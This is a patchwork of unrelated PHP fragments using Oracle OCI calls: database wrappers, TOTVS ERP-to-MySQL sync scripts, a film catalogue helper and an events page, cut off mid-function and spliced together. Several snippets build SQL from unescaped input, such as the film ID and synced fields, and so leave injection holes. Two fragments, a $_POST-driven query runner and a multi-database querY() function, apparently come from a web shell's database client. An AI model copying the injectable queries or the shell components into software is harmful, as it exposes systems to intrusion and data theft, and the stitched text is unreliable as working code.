function query($SQLCmd)
{
if (!$this->isConnect) {
return null;
}
$stmt = ociparse($this->connection, $SQLCmd);
ociexecute($stmt, OCI_DEFAULT);
$results = array();
oci_fetch_all($stmt, $results, 0, -1, OCI_FETCHSTATEMENT_BY_COLUMN);
$rs = new ResultSet();
$rs->setHolder($results);
oci_free_statement($stmt);
return $rs;
}
function insert_id($table)
{
$sql = "SELECT max(id) ID FROM {$table}";
$query = ociparse($this->conn, $sql);
ociexecute($query);
ocifetchinto($query, $row, OCI_BOTH);
return $row[ID];
}
/** parse a query and return a statement */
function parse($query)
{
$this->query = $query;
$stmt = @ociparse($this->conn, $query);
$this->stmt = $stmt;
$this->error();
return $stmt;
}
public static function realisateurParId($id)
{
$bd = new Mconnect();
$connect = $bd->getRessource();
$stmt = ociparse($connect, "select p.ID_PERS, p.NOM_PERS, p.PRENOM_PERS\r\t\t\t\t\t\t\t\t\tfrom PERSONNE p, REALISER r\r\t\t\t\t\t\t\t\t\tWHERE p.ID_PERS=r.ID_PERS\r\t\t\t\t\t\t\t\t\tAND r.ID_FILM='" . $id . "'");
ociexecute($stmt, OCI_DEFAULT);
$tab = Mutilitaire::tableau($stmt);
return $tab;
$bd->close();
}
/**
* Execute an SQL query
* @param String sql
*/
public function exec($sql)
{
$this->debugInfo($sql);
$stmt = ociparse($this->conn, $sql);
$stmt_type = ocistatementtype($stmt);
if (!ociexecute($stmt)) {
trigger_error($this->lastError(), E_USER_ERROR);
return 0;
}
return 1;
}
function &_doQuery($queryString)
{
$stmt = ociparse($this->_connection, $queryString);
if ($stmt && ociexecute($stmt)) {
$rs =& new CopixDbResultSetOci8($stmt);
$rs->_connector =& $this;
return $rs;
} else {
return false;
}
}
public function select_genres()
{
//Connexion à la base
$bd = new Mconnect();
$connect = $bd->getRessource();
$stmt = ociparse($connect, "select NOM_GENRE, ID_GENRE from GENRE ORDER BY NOM_GENRE");
//On parse la requête à effectuer sans oublier de lui passer la chaine de connexion en paramêtre
ociexecute($stmt, OCI_DEFAULT);
//On execute la requête en lui passant l'option OCI_DEFAULT
$bd->close();
$tab = Mutilitaire::tableau($stmt);
return $tab;
}
/**
* db_query() - Query the database
*
* NOTE - the OCI version of this may be somewhat inefficient
* for large result sets (hundreds or thousands of rows selected)
* However - most queries are returning 25-50 rows
*
* @param string SQL statement
* @param int How many rows do you want returned
* @param int Of matching rows, return only rows starting here
*/
function db_query($qstring, $limit = '-1', $offset = 0)
{
global $QUERY_COUNT, $sys_db_results, $sys_db_row_pointer, $sys_db_oci_commit_mode;
$QUERY_COUNT++;
$stmt = @ociparse($gfconn, $qstring);
if (!$stmt) {
return 0;
} else {
if ($limit > 0) {
if (!$offset || $offset < 0) {
$offset = 0;
}
}
$res = @ociexecute($stmt, $sys_db_oci_commit_mode);
if (!$res) {
return 0;
} else {
//if offset, seek to starting point
//potentially expensive if large offset
//however there is no data_seek feature AFAICT
$more_data = true;
if ($offset > 0) {
for ($i = 0; $i < $offset; $i++) {
//burn them off
@ocifetchinto($res, $x);
if (!$x[1]) {
//if no data be returned
//get out of loop
$more_data = false;
break;
}
}
}
$i = 0;
while ($more_data) {
$i++;
@ocifetchinto($res, $x, 'OCI_ASSOC+OCI_RETURN_NULLS+OCI_RETURN_LOBS');
$sys_db_results[$res][$i - 1] = $x;
//see if data is being returned && we are
//still within the requested $limit
if (count($x) < 1 || $limit > 0 && $i >= $limit) {
$more_data = false;
}
}
$sys_db_row_pointer[$res] = 0;
return $res;
}
}
}
function query_exec($query)
{
# IMPORT MYSQL PARAMETERS (NOTE: IT WORKS WITH ABSOLUTE PATH ONLY !!)
include '../config/registry_oracle_db.php';
# open connection to db
//putenv("ORACLE_HOME=/usr/lib/oracle/xe/app/oracle/product/10.2.0");
$conn = OCILogOn($user_db, $password_db, $db) or die("Could not connect to Oracle database!") or die(ocierror());
# execute the EXEC query
$statement = ociparse($conn, $query);
$risultato = ociexecute($statement);
# close connection
ocilogoff($conn);
$a = 1;
return $a;
}
function db_exec($qstring,$conn)
{
global $strLastSQL,$dDebug;
if ($dDebug===true)
echo $qstring."<br>";
$strLastSQL=$qstring;
$stmt=ociparse($conn,$qstring);
$stmt_type=ocistatementtype($stmt);
if(!ociexecute($stmt))
{
trigger_error(db_error($conn), E_USER_ERROR);
return 0;
}
else
return 1;
}
<?php
$sqlTotvsSG2010 = ociparse($totvsConexao, "SELECT G2_RECURSO\r\n\t , G2_OPERAC\r\n\t\t\t\t\t\t\t\t\t\t\t\t , G2_DESCRI\r\n\t\t\t\t\t\t\t\t\t\t\t\t , G2_PRODUTO\r\n\t\t\t\t\t\t\t\t\t\t\t\t , R_E_C_N_O_\r\n \t\t\t\t\t\t\t\t\t\t , D_E_L_E_T_\r\n\t\t\t\t\t\t\t\t\t\t\t FROM SG2010\r\n\t\t\t\t\t\t\t\t\t\t ORDER BY R_E_C_N_O_");
ociexecute($sqlTotvsSG2010);
while ($rowTotvsSG2010 = oci_fetch_array($sqlTotvsSG2010)) {
$sqlPcpOperacao = mysql_query("SELECT null FROM tb_pcp_operacao WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error());
if (mysql_num_rows($sqlPcpOperacao) == 0) {
if (trim($rowTotvsSG2010['D_E_L_E_T_']) == '*') {
mysql_query("INSERT INTO tb_pcp_operacao (CO_RECURSO\r\n\t\t\t\t\t \t , CO_OPERACAO\r\n\t\t\t\t\t\t\t\t , DS_OPERACAO\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO\r\n\t\t\t\t\t\t\t\t , CO_RECNO\r\n\t\t\t\t\t\t\t\t , FL_DELET)\r\n\t\t\t\t\t\t\t VALUES('" . trim($rowTotvsSG2010['G2_RECURSO']) . "' \r\n\t\t\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_OPERAC']) . "'\r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_DESCRI']) . "'\r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_PRODUTO']) . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'\r\n\t\t\t\t\t\t\t\t , '*')", $conexaoExtranet) or die(mysql_error());
} else {
mysql_query("INSERT INTO tb_pcp_operacao (CO_RECURSO\r\n\t\t\t\t\t \t , CO_OPERACAO\r\n\t\t\t\t\t\t\t\t , DS_OPERACAO\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO\r\n\t\t\t\t\t\t\t\t , CO_RECNO)\r\n\t\t\t\t\t\t\t VALUES('" . trim($rowTotvsSG2010['G2_RECURSO']) . "' \r\n\t\t\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_OPERAC']) . "'\r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_DESCRI']) . "'\r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_PRODUTO']) . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSG2010['R_E_C_N_O_'] . "')", $conexaoExtranet) or die(mysql_error());
}
} else {
if (trim($rowTotvsSG2010['D_E_L_E_T_']) == '*') {
mysql_query("UPDATE tb_pcp_operacao SET\r\n\t\t\t\t\t CO_RECURSO = '" . trim($rowTotvsSG2010['G2_RECURSO']) . "'\r\n\t\t\t\t\t\t\t\t , CO_OPERACAO = '" . trim($rowTotvsSG2010['G2_OPERAC']) . "'\r\n\t\t\t\t\t\t\t\t , DS_OPERACAO = '" . trim($rowTotvsSG2010['G2_DESCRI']) . "'\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO = '" . trim($rowTotvsSG2010['G2_PRODUTO']) . "'\r\n\t\t\t\t\t\t\t\t , FL_DELET = '*'\r\n\t\t\t\t\t \t\t WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error());
} else {
mysql_query("UPDATE tb_pcp_operacao SET\r\n\t\t\t\t\t \t CO_RECURSO = '" . trim($rowTotvsSG2010['G2_RECURSO']) . "'\r\n\t\t\t\t\t\t\t\t , CO_OPERACAO = '" . trim($rowTotvsSG2010['G2_OPERAC']) . "'\r\n\t\t\t\t\t\t\t\t , DS_OPERACAO = '" . trim($rowTotvsSG2010['G2_DESCRI']) . "'\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO = '" . trim($rowTotvsSG2010['G2_PRODUTO']) . "'\r\n\t\t\t\t\t \t\t WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error());
}
}
}
/**
* Executes given SQL statement. This is an overloaded method.
*
* @param string $sql SQL statement
* @return resource Result resource identifier or null
* @access protected
*/
function _execute($sql)
{
$this->_statementId = @ociparse($this->connection, $sql);
if (!$this->_statementId) {
$this->_setError($this->connection);
return false;
}
if ($this->__transactionStarted) {
$mode = OCI_DEFAULT;
} else {
$mode = OCI_COMMIT_ON_SUCCESS;
}
if (!@ociexecute($this->_statementId, $mode)) {
$this->_setError($this->_statementId);
return false;
}
$this->_setError(null, true);
switch (ocistatementtype($this->_statementId)) {
case 'DESCRIBE':
case 'SELECT':
$this->_scrapeSQL($sql);
break;
default:
return $this->_statementId;
break;
}
if ($this->_limit >= 1) {
ocisetprefetch($this->_statementId, $this->_limit);
} else {
ocisetprefetch($this->_statementId, 3000);
}
$this->_numRows = ocifetchstatement($this->_statementId, $this->_results, $this->_offset, $this->_limit, OCI_NUM | OCI_FETCHSTATEMENT_BY_ROW);
$this->_currentRow = 0;
$this->limit();
return $this->_statementId;
}
}
@pg_close($db);
} else {
echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>";
}
break;
case 'Oracle':
$db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']);
if ($error = @ocierror()) {
echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>" . $error['message'] . "</b></font></div>";
} else {
$querys = @explode(';', $_POST['db_query']);
foreach ($querys as $num => $query) {
if (strlen($query) > 5) {
echo "<font face=Verdana size=-2 color=green><b>Query#" . $num . " : " . htmlspecialchars($query) . "</b></font><br>";
$stat = @ociparse($db, $query);
@ociexecute($stat);
if ($error = @ocierror()) {
echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>" . $error['message'] . "</b></font></td></tr></table><br>";
} else {
$rowcount = @ocirowcount($stat);
if ($rowcount != 0) {
echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>" . $rowcount . "</b></font></td></tr></table><br>";
} else {
echo "<table width=100%><tr>";
for ($j = 1; $j <= @ocinumcols($stat); $j++) {
echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b> " . htmlspecialchars(@ocicolumnname($stat, $j)) . " </b></font></td>";
}
echo "</tr>";
while (ocifetch($stat)) {
echo "<tr>";
<?php
$sqlTotvsSA3010 = ociparse($totvsConexao, "SELECT COUNT(*) AS QTD_SA3010 FROM SA3010");
ociexecute($sqlTotvsSA3010);
$rowTotvsSA3010 = oci_fetch_array($sqlTotvsSA3010);
$quantidadeTotvsSA3010 = $rowTotvsSA3010['QTD_SA3010'];
$sqlMySQLFatVendedor = mysql_query("SELECT COUNT(*) AS QTD_FAT_VENDEDOR FROM tb_fat_Vendedor", $conexaoExtranet) or die(mysql_error());
$rowMySQLFatVendedor = mysql_fetch_array($sqlMySQLFatVendedor);
$quantidadeMySQLFatVendedor = $rowMySQLFatVendedor['QTD_FAT_VENDEDOR'];
if ($quantidadeTotvsSA3010 != $quantidadeMySQLFatVendedor) {
$quantidadeDiferenca = $quantidadeTotvsSA3010 - $quantidadeMySQLFatVendedor;
enviaEmailNotificacao(date("d/m/Y h:i:s"), "FatVendedor", $quantidadeTotvsSA3010, $quantidadeMySQLFatVendedor, $quantidadeDiferenca);
echo "Sincronismo Validação Tabela de Vendedor Concluido e e-mail de Notificacao Enviado.<br>";
} else {
echo "Sincronismo Validação Tabela de Vendedor Concluido sem Divergencia.<br>";
}
<?php
$sqlTotvsSG2010 = ociparse($totvsConexao, "SELECT G2_RECURSO\r\n\t , G2_OPERAC\r\n\t\t\t\t\t\t\t\t\t\t\t\t , G2_DESCRI\r\n\t\t\t\t\t\t\t\t\t\t\t\t , G2_PRODUTO\r\n\t\t\t\t\t\t\t\t\t\t\t\t , R_E_C_N_O_\r\n \t\t\t\t\t\t\t\t\t\t\t , D_E_L_E_T_\r\n\t\t\t\t\t\t\t\t\t\t\t FROM SG2010\r\n\t\t\t\t\t\t\t\t\t\t\t WHERE R_E_C_N_O_ = '" . $rowTotvsLog["R_E_C_N_O_"] . "'");
ociexecute($sqlTotvsSG2010);
$rowTotvsSG2010 = oci_fetch_array($sqlTotvsSG2010);
if ($rowTotvsLog["TP_LOG"] == "Insert") {
mysql_query("INSERT INTO tb_pcp_operacao (CO_RECURSO\r\n\t\t\t\t\t , CO_OPERACAO\r\n\t\t\t\t\t\t , DS_OPERACAO\r\n\t\t\t\t\t\t , CO_PRODUTO\r\n\t\t\t\t\t\t , CO_RECNO)\r\n\t\t\t\t\t VALUES('" . trim($rowTotvsSG2010['G2_RECURSO']) . "' \r\n\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_OPERAC']) . "'\r\n\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_DESCRI']) . "'\r\n\t\t\t\t\t , '" . trim($rowTotvsSG2010['G2_PRODUTO']) . "'\r\n\t\t\t\t\t , '" . $rowTotvsSG2010['R_E_C_N_O_'] . "')", $conexaoExtranet);
} elseif ($rowTotvsLog["TP_LOG"] == "Update") {
mysql_query("UPDATE tb_pcp_operacao SET\r\n\t\t\t\t\t CO_RECURSO = '" . trim($rowTotvsSG2010['G2_RECURSO']) . "'\r\n\t\t\t\t\t , CO_OPERACAO = '" . trim($rowTotvsSG2010['G2_OPERAC']) . "'\r\n\t\t\t\t\t\t , DS_OPERACAO = '" . trim($rowTotvsSG2010['G2_DESCRI']) . "'\r\n\t\t\t\t\t\t , CO_PRODUTO = '" . trim($rowTotvsSG2010['G2_PRODUTO']) . "'\r\n\t\t\t\t\t WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet);
} elseif ($rowTotvsLog["TP_LOG"] == "Update Campo D_E_L_E_T_") {
if (trim($rowTotvsSG2010['D_E_L_E_T_']) == '*') {
mysql_query("UPDATE tb_pcp_operacao SET FL_DELET = '*' WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet);
} else {
mysql_query("UPDATE tb_pcp_operacao SET FL_DELET = null WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet);
}
} elseif ($rowTotvsLog["TP_LOG"] == "Delete") {
mysql_query("UPDATE tb_pcp_operacao SET FL_DELET = '*' WHERE CO_RECNO = '" . $rowTotvsSG2010['R_E_C_N_O_'] . "'", $conexaoExtranet);
}
<?php
$sqlTotvsDA4010 = ociparse($totvsConexao, "SELECT DA4_FILIAL\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_COD\r\n\t\t\t\t\t\t\t\t\t\t\t\t , DA4_NOME\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_NREDUZ\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_END\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_BAIRRO\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_MUN\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_EST\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_CEP\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_CGC\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_TEL\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_BLQMOT\r\n\t\t\t\t\t\t\t\t\t\t\t , DA4_TRANPO\r\n\t\t\t\t\t\t\t\t\t\t\t , R_E_C_N_O_\r\n\t\t\t\t\t\t\t\t\t\t\t , D_E_L_E_T_\r\n\t\t\t\t\t\t\t\t\t\t\t FROM DA4010\r\n\t\t\t\t\t\t\t\t\t\t ORDER BY R_E_C_N_O_");
ociexecute($sqlTotvsDA4010);
while ($rowTotvsDA4010 = oci_fetch_array($sqlTotvsDA4010)) {
$sqlFatMotorista = mysql_query("SELECT null FROM tb_fat_motorista WHERE CO_RECNO = '" . $rowTotvsDA4010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error());
if (mysql_num_rows($sqlFatMotorista) == 0) {
if (trim($rowTotvsDA4010['D_E_L_E_T_']) == '*') {
mysql_query("INSERT INTO tb_fat_motorista (CO_FILIAL\r\n\t\t\t\t\t\t\t , CO_MOTORISTA\r\n\t\t\t\t\t\t\t\t , NU_CPF_CNPJ\r\n\t\t\t\t\t\t\t\t , NO_MOTORISTA\r\n\t\t\t\t\t\t\t\t , NO_REDUZ_MOTORISTA\r\n\t\t\t\t\t\t\t\t , DS_ENDERECO\r\n\t\t\t\t\t\t\t\t , NO_BAIRRO\r\n\t\t\t\t\t\t\t\t , NO_MUNICIPIO\r\n\t\t\t\t\t\t\t\t , SG_UF\r\n\t\t\t\t\t\t\t\t , NU_CEP\r\n\t\t\t\t\t\t\t\t , NU_TEL\r\n\t\t\t\t\t\t\t\t , CO_TRANSPORTADORA\r\n\t\t\t\t\t\t\t\t , FL_BLOQUEADO\r\n\t\t\t\t\t\t\t\t , CO_RECNO\r\n\t\t\t\t\t\t\t\t , FL_DELET)\r\n\t\t\t\t\t\t\t VALUES('" . trim($rowTotvsDA4010['DA4_FILIAL']) . "' \r\n\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_COD']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_CGC']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_NOME'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_NREDUZ'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_END'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_BAIRRO'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_MUN'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_EST'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_CEP']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_TEL']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_TRANPO']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_BLQMOT']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['R_E_C_N_O_']) . "'\r\n\t\t\t\t\t\t\t\t , '*')", $conexaoExtranet) or die(mysql_error());
} else {
mysql_query("INSERT INTO tb_fat_motorista (CO_FILIAL\r\n\t\t\t\t\t\t\t , CO_MOTORISTA\r\n\t\t\t\t\t\t\t\t , NU_CPF_CNPJ\r\n\t\t\t\t\t\t\t\t , NO_MOTORISTA\r\n\t\t\t\t\t\t\t\t , NO_REDUZ_MOTORISTA\r\n\t\t\t\t\t\t\t\t , DS_ENDERECO\r\n\t\t\t\t\t\t\t\t , NO_BAIRRO\r\n\t\t\t\t\t\t\t\t , NO_MUNICIPIO\r\n\t\t\t\t\t\t\t\t , SG_UF\r\n\t\t\t\t\t\t\t\t , NU_CEP\r\n\t\t\t\t\t\t\t\t , NU_TEL\r\n\t\t\t\t\t\t\t\t , CO_TRANSPORTADORA\r\n\t\t\t\t\t\t\t\t , FL_BLOQUEADO\r\n\t\t\t\t\t\t\t\t , CO_RECNO)\r\n\t\t\t\t\t\t\t VALUES('" . trim($rowTotvsDA4010['DA4_FILIAL']) . "' \r\n\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_COD']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_CGC']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_NOME'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_NREDUZ'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_END'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_BAIRRO'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_MUN'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsDA4010['DA4_EST'])) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_CEP']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_TEL']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_TRANPO']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['DA4_BLQMOT']) . "' \r\n\t\t\t\t\t\t\t\t , '" . trim($rowTotvsDA4010['R_E_C_N_O_']) . "')", $conexaoExtranet) or die(mysql_error());
}
} else {
if (trim($rowTotvsDA4010['D_E_L_E_T_']) == '*') {
mysql_query("UPDATE tb_fat_motorista SET\r\n\t\t\t\t\t\t\t CO_FILIAL = '" . trim($rowTotvsDA4010['DA4_FILIAL']) . "' \r\n\t\t\t\t\t\t\t\t , CO_MOTORISTA = '" . trim($rowTotvsDA4010['DA4_COD']) . "' \r\n\t\t\t\t\t\t\t\t , NU_CPF_CNPJ = '" . trim($rowTotvsDA4010['DA4_CGC']) . "' \r\n\t\t\t\t\t\t\t\t , NO_MOTORISTA = '" . trim(addslashes($rowTotvsDA4010['DA4_NOME'])) . "' \r\n\t\t\t\t\t\t\t\t , NO_REDUZ_MOTORISTA = '" . trim(addslashes($rowTotvsDA4010['DA4_NREDUZ'])) . "' \r\n\t\t\t\t\t\t\t\t , DS_ENDERECO = '" . trim(addslashes($rowTotvsDA4010['DA4_END'])) . "' \r\n\t\t\t\t\t\t\t\t , NO_BAIRRO = '" . trim(addslashes($rowTotvsDA4010['DA4_BAIRRO'])) . "' \r\n\t\t\t\t\t\t\t\t , NO_MUNICIPIO = '" . trim(addslashes($rowTotvsDA4010['DA4_MUN'])) . "' \r\n\t\t\t\t\t\t\t\t , SG_UF = '" . trim(addslashes($rowTotvsDA4010['DA4_EST'])) . "' \r\n\t\t\t\t\t\t\t\t , NU_CEP = '" . trim($rowTotvsDA4010['DA4_CEP']) . "' \r\n\t\t\t\t\t\t\t\t , NU_TEL = '" . trim($rowTotvsDA4010['DA4_TEL']) . "' \r\n\t\t\t\t\t\t\t\t , CO_TRANSPORTADORA = '" . trim($rowTotvsDA4010['DA4_TRANPO']) . "' \r\n\t\t\t\t\t\t\t\t , FL_BLOQUEADO = '" . trim($rowTotvsDA4010['DA4_BLQMOT']) . "' \r\n\t\t\t\t\t\t\t\t , FL_DELET = '*'\t\t\t\t\t \r\n\t\t\t\t\t\t\t WHERE CO_RECNO = '" . $rowTotvsDA4010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error());
} else {
mysql_query("UPDATE tb_fat_motorista SET\r\n\t\t CO_FILIAL = '" . trim($rowTotvsDA4010['DA4_FILIAL']) . "' \r\n\t\t\t\t\t\t\t\t , CO_MOTORISTA = '" . trim($rowTotvsDA4010['DA4_COD']) . "' \r\n\t\t\t\t\t\t\t\t , NU_CPF_CNPJ = '" . trim($rowTotvsDA4010['DA4_CGC']) . "' \r\n\t\t\t\t\t\t\t\t , NO_MOTORISTA = '" . trim(addslashes($rowTotvsDA4010['DA4_NOME'])) . "' \r\n\t\t\t\t\t\t\t\t , NO_REDUZ_MOTORISTA = '" . trim(addslashes($rowTotvsDA4010['DA4_NREDUZ'])) . "' \r\n\t\t\t\t\t\t\t\t , DS_ENDERECO = '" . trim(addslashes($rowTotvsDA4010['DA4_END'])) . "' \r\n\t\t\t\t\t\t\t\t , NO_BAIRRO = '" . trim(addslashes($rowTotvsDA4010['DA4_BAIRRO'])) . "' \r\n\t\t\t\t\t\t\t\t , NO_MUNICIPIO = '" . trim(addslashes($rowTotvsDA4010['DA4_MUN'])) . "' \r\n\t\t\t\t\t\t\t\t , SG_UF = '" . trim(addslashes($rowTotvsDA4010['DA4_EST'])) . "' \r\n\t\t\t\t\t\t\t\t , NU_CEP = '" . trim($rowTotvsDA4010['DA4_CEP']) . "' \r\n\t\t\t\t\t\t\t\t , NU_TEL = '" . trim($rowTotvsDA4010['DA4_TEL']) . "' \r\n\t\t\t\t\t\t\t\t , CO_TRANSPORTADORA = '" . trim($rowTotvsDA4010['DA4_TRANPO']) . "' \r\n\t\t\t\t\t\t\t\t , FL_BLOQUEADO = '" . trim($rowTotvsDA4010['DA4_BLQMOT']) . "'\r\n\t\t\t\t\t\t\t WHERE CO_RECNO = '" . $rowTotvsDA4010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error());
}
}
}
function querY($type, $host, $user, $pass, $db = '', $query)
{
$res = '';
switch ($type) {
case 'MySQL':
if (!function_exists('mysql_connect')) {
return 0;
}
$link = mysql_connect($host, $user, $pass);
if ($link) {
if (!empty($db)) {
mysql_select_db($db, $link);
}
$result = mysql_query($query, $link);
while ($data = mysql_fetch_row($result)) {
$res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
}
$res .= '[+][+][+]';
for ($i = 0; $i < mysql_num_fields($result); $i++) {
$res .= mysql_field_name($result, $i) . '[-][-][-]';
}
mysql_close($link);
return $res;
}
break;
case 'MSSQL':
if (!function_exists('mssql_connect')) {
return 0;
}
$link = mssql_connect($host, $user, $pass);
if ($link) {
if (!empty($db)) {
mssql_select_db($db, $link);
}
$result = mssql_query($query, $link);
while ($data = mssql_fetch_row($result)) {
$res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
}
$res .= '[+][+][+]';
for ($i = 0; $i < mssql_num_fields($result); $i++) {
$res .= mssql_field_name($result, $i) . '[-][-][-]';
}
mssql_close($link);
return $res;
}
break;
case 'Oracle':
if (!function_exists('ocilogon')) {
return 0;
}
$link = ocilogon($user, $pass, $db);
if ($link) {
$stm = ociparse($link, $query);
ociexecute($stm, OCI_DEFAULT);
while ($data = ocifetchinto($stm, $data, OCI_ASSOC + OCI_RETURN_NULLS)) {
$res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
}
$res .= '[+][+][+]';
for ($i = 0; $i < oci_num_fields($stm); $i++) {
$res .= oci_field_name($stm, $i) . '[-][-][-]';
}
return $res;
}
break;
case 'PostgreSQL':
if (!function_exists('pg_connect')) {
return 0;
}
$link = pg_connect("host={$host} dbname={$db} user={$user} password={$pass}");
if ($link) {
$result = pg_query($link, $query);
while ($data = pg_fetch_row($result)) {
$res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
}
$res .= '[+][+][+]';
for ($i = 0; $i < pg_num_fields($result); $i++) {
$res .= pg_field_name($result, $i) . '[-][-][-]';
}
pg_close($link);
return $res;
}
break;
}
return 0;
}
$fechaInicio = $listaEventos["START_DATE"][$p];
$fechaFin = $listaEventos["END_DATE"][$p];
$idEvento = $listaEventos["ID_EVENT"][$p];
$link = "EstadisticasEvento.php?id=" . $idEvento;
echo "<div class='Evento'>\n <a href={$link}>\n <div class='Evento_Info_Box'>\n <div class='Evento_fecha'> {$fechaInicio} -- {$fechaFin} </div>\n <div class='Evento_Nombre'> {$nombreEvento} </div>\n <div class='Evento_Premios'>\n <table>\n <caption>Premios</caption>\n <tr>\n <td>,</td>\n <td>,</td>\n <td>,</td>\n </tr>\n </table>\n </div>\n </div>\n </a>\n </div>";
}
?>
</div>
<div class="Evento_Seg_Titulo">MUJERES</div>
<div id="Eventos_Mujeres" class="ContenerdorEventos">
<?php
$conn = OCILogon($user, $pass, $db);
$outrefc = ocinewcursor($conn);
//Declare cursor variable
$mycursor = ociparse($conn, "begin getInfoEvents(:curs,1); end;");
// prepare procedure call
ocibindbyname($mycursor, ':curs', $outrefc, -1, OCI_B_CURSOR);
// bind procedure parameters
$ret = ociexecute($mycursor);
// Execute function
$ret = ociexecute($outrefc);
// Execute cursor
$nrows = ocifetchstatement($outrefc, $listaEventos);
// fetch data from cursor
ocifreestatement($mycursor);
// close procedure call
ocifreestatement($outrefc);
// close cursor
for ($p = 0; $p < count($listaEventos["NAME_EVENT"]); $p++) {
$nombreEvento = $listaEventos["NAME_EVENT"][$p];
<?php
